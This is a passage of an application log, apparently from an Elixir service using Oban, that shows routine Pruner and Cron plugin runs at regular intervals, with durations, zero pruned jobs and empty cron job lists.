{"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.994 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:54:24.590 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:54.592 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.995 [info] {"source":"oban","duration":192,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:55:24.594 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:54.596 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.996 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:56:24.598 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:54.600 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.997 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:57:24.602 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:54.604 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.998 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:58:24.606 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:54.608 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.999 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:59:24.610 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:54.612 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:01.000 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:00:24.614 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:54.616 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.001 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:01:24.618 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:54.620 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.002 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:02:24.622 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:54.624 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.003 [info] {"source":"oban","duration":201,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:03:24.626 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:54.628 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.004 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:04:24.630 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:54.632 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.005 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:05:24.634 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:54.636 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.006 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:06:24.638 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:54.640 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.007 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:07:24.642 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:54.644 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.008 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:08:24.646 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:54.648 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.009 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:09:24.650 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:54.652 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.010 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:10:24.654 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:54.656 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.011 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:11:24.658 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:54.660 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.012 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:12:24.662 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:54.664 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.013 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:13:24.666 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:54.668 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.014 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:14:24.670 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:54.672 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.015 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:15:24.674 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:54.676 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:00.016 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:16:24.678 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:54.680 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.017 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:17:24.682 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:54.684 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.018 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:18:24.686 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:54.688 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.019 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:19:24.690 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:54.692 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.020 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:20:24.694 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:54.696 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.021 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:21:24.698 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:54.700 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.022 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:22:24.702 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:54.704 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.023 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:23:24.706 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:54.708 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.024 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:24:24.710 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:54.712 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.025 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:25:24.714 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:54.716 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.026 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:26:24.718 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:54.720 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.027 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:27:24.722 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:54.724 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.028 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:28:24.726 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:54.728 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.029 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:29:24.731 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:54.733 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.030 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:30:24.735 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:54.737 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.031 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:31:24.739 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:54.741 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.032 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:32:24.743 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:54.745 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.033 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:33:24.747 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:54.749 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.034 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:34:24.751 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:54.753 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.035 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:35:24.755 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:54.756 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.036 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:36:24.759 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:54.761 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.037 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:37:24.763 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:54.765 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.038 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:38:24.767 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:54.769 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.039 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:39:24.771 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:54.773 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.040 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:40:24.775 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:54.777 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.041 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:41:24.779 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:54.781 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.042 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:42:24.783 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:54.785 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.043 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:43:24.787 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:54.789 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.044 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:44:24.791 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:54.793 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.045 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:45:24.795 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:54.797 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.046 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:46:24.799 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:54.801 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.047 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:47:24.803 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:54.805 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.048 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:48:24.807 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:54.809 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.049 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:49:24.811 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:54.813 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.050 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:50:24.815 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:54.817 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.052 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:51:24.819 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:54.821 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.053 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:52:24.823 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:54.825 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.054 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:53:24.827 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:54.829 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.055 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:54:24.831 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:54.833 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.056 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:55:24.835 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:54.837 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.057 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:56:24.839 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:54.841 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.058 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:57:24.843 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:54.845 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.059 [info] {"source":"oban","duration":189,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:58:24.847 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:54.849 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.060 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:59:24.851 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:54.852 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.061 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:00:24.854 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:54.856 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.062 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:01:24.858 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:54.860 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.063 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:02:24.862 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:54.864 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.064 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:03:24.866 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:54.868 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.065 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:04:24.870 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:54.872 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.066 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:05:24.874 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:54.876 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.067 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:06:24.878 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:54.880 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.068 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:07:24.882 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:54.883 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.069 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:08:24.885 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:54.888 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.070 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:09:24.890 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:54.892 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.071 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:10:24.894 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:54.896 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.072 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:11:24.898 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:54.900 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.073 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:12:24.902 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:54.904 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.074 [info] 